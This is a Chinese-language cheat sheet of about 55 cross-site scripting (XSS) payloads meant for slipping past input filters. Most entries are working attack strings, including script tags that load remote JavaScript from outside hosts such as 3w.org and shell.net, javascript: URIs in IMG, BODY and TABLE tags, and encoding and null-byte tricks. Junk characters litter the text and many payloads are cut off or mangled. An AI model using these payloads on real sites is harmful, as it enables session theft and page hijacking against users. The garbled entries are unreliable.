XSS攻击汇总

admin

(1)普通的XSS JavaScript注入
' d, |+ _# b9 n* S, W7 L! S" f<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(99)另类弹框
<q/oncut=alert()>1
$ ~+ u8 j+ P) P) V<s/onclick=alert()>b
<XSS=" onclick="alert(1)//">clickme</SSX=">
5 l# |2 n0 a' S' `; Z7 H <zzz onclick=alert`1`>clickme</zzz>
1 `- V* A% ?+ z! S: \8 \# C6 O <a onclick=alert`1`>clickme</a>
<a=">clickme</a=">
8 w1 f" }1 ?' C  W% S<a=">clickme</a>
<z=">clickme</z=">
* c" B, e& X9 H<z onclick=alert`1`>clickme</z>

6 j- V1 O: k8 l7 r- w9 M7 k* r(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

' B7 j# e' b9 b* U(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)
5 S& T/ g$ @/ m( K- v$ F<IMG SRC=javascript:alert(“XSS”)>
& @1 M/ r1 _: y, l/ N
6 \" a5 n2 t. u5 z) d(6)修正缺陷IMG标签
2 |7 R+ b8 o, `7 i<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
( Q. L# ~, w; I4 G- E9 R/ E
(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
; X- P' y6 U! f7 H
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)
<IMG SRC=\'#\'" /span>

(11)嵌入式标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
, m9 @! r9 x. j7 o; ?8 Q' j
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
; O2 E$ X2 E; a- }1 b& h- I
(13)嵌入式换行符
3 N% F* D! D6 N9 N<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
7 G$ s4 ]  r# |( {4 D# [
. C( @- Q: J  Z. l6 L(14)嵌入式回车
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
% o7 U; |8 s, J, Q% S9 Q$ d) [$ [  A  k
* v& ?: [8 u6 f1 \! }/ d$ a  Z& y(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=\'#\'" /span>

4 L# }4 ~. L( k9 X(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
, V2 |. g% V% M3 v& Z- M" E<script>z=z+’<script’</script>
+ Z/ ?4 S9 U5 i" t, J  G' E4 @<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
" T# _% p3 {' ~3 w# `) W( _<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
' i8 m5 x/ d( f3 ~, l6 Z<script>z=z+’js></sc’</script>
; d; g( m7 _! N. T! l$ y<script>z=z+’ript>”)’</script>
* v3 J+ Y. f$ U  J  }<script>eval_r(z)</script>
" v6 J6 J% P* H4 r& a
(17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
# w" G; j$ S2 @1 v+ N# sperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
! }, C2 {* f1 `- O& k
4 g5 L/ t7 H# W4 {# P! C" h(19)Spaces和meta前的IMG标签
7 c; T7 g- o) N" }, K<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>
! i+ \( ]1 O9 {. |5 J, l
(20)Non-alpha-non-digit XSS
  i  P5 j; v% d, m9 Y! d<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
% V! F6 F  J  E# A3 q# A0 i
8 S0 z0 T% f6 N4 k) m(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3
  R# S1 A" \" I$ @5 J<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>

8 {- c* e2 t& e(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>

  E$ r- t) F: a; v- X(24)无结束脚本标记(仅火狐等浏览器)
( D2 N" Z# R- _$ A2 D% E# j$ _<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2
  j& c1 o8 Z8 M<SCRIPT SRC=//3w.org/XSS/xss.js>

% Y! }5 @: m+ q4 L6 ]4 I(26)半开的HTML/JavaScript XSS
; n6 A, R) U% a% k<IMG SRC=\'#\'" /span>

% |$ p+ S+ Z: R( |! @" O(27)双开角括号
<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
3 \2 |0 P! S, ^7 L2 K8 Oalert(a.source)</SCRIPT>

% }6 B1 ~- M# p(29)换码过滤的JavaScript
7 R9 K8 v: g) e$ z( n\”;alert(‘XSS’);//

(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
+ K# m9 E  @; I
(31)Input Image
' ~, {' Y+ H+ {$ K& j2 f1 y! e" n<INPUT SRC=\'#\'" /span>
! c3 @4 l. ]# c1 U
+ O8 Q% H4 t) T" L% g3 u(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
/ e+ M2 Z# U/ b
6 X" D9 f/ i$ F  B4 M(33)BODY标签
<BODY(‘XSS’)>
! E! c- @  F) g* h5 R3 {1 C
, V0 o' Y6 b& }" ?" M1 ?: U8 c  m(34)IMG Dynsrc
/ p0 H8 W  [: c3 f/ Y1 m7 x<IMG DYNSRC=\'#\'" /span>

(35)IMG Lowsrc
/ l6 b0 a: Q# L<IMG LOWSRC=\'#\'" /span>

(36)BGSOUND
, D8 S7 @, [: S: h& k<BGSOUND SRC=\'#\'" /span>
+ z2 A- T  m, j; \
9 K7 C, w8 G# C1 t/ M(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

8 ~; [4 C  t* b+ N' r(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
% U. f/ k; `; A0 r0 I
3 H* y) ]9 G) X5 z( K(39)List-style-image(列表式)
2 y: y& i( g! A9 A% u6 I( u<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
6 g% Y4 ?$ M+ l/ A7 d4 [# m
(40)IMG VBscript
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS

5 E# D8 G7 N8 Y& |- s5 [, Y, ^(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe
<IFRAME SRC=\'#\'" /IFRAME>

5 x! @2 D7 `8 ~! J$ S) U; w(43)Frame
( ~/ [( n$ z4 \/ ]+ }<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>

5 o- s7 e5 V9 }2 d# B(44)Table
* Z" L4 C; r1 O+ b% N<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
! i( d* p3 v* W6 e9 ^5 b* c
(45)TD
0 A5 p( o9 x; m+ F& b1 {( U<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
7 p5 U0 J5 S4 j; |7 u' e
, F2 l& G7 r+ q(46)DIV background-image
) k: K4 Q1 L: E: V" p2 J: r<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
$ k7 |: s3 F0 X1 o<DIV STYLE=”background-image: url(
javascript:alert(‘XSS’))”>

(48)DIV expression
* j2 u& T: Q& ^, ~<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
4 H( R- c- u  ~
: X- l$ F( b# j4 y% f5 s(49)STYLE属性分拆表达
( x  {- c3 e3 b8 k- i/ i, M( }<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
" ?! P5 d. V/ ^' {/ s  [$ J
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
" t5 K, J: A: _. s7 a" ^0 H
(52)IMG STYLE方式
$ M! C4 z6 y1 a1 g5 |; Fexppression(alert(“XSS”))’>
( O* y# ]' U8 Z
(53)STYLE background
5 h" ~7 J$ f7 I<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
9 y! w7 f# I& ]
(54)BASE
6 W2 [& _  i$ j4 F<BASE HREF=”javascript:alert(‘XSS’);//”>

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
" k% _/ |: I0 l% ?  P( I8 K% P3 \<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
- q# |" x/ q. E4 o% S" Z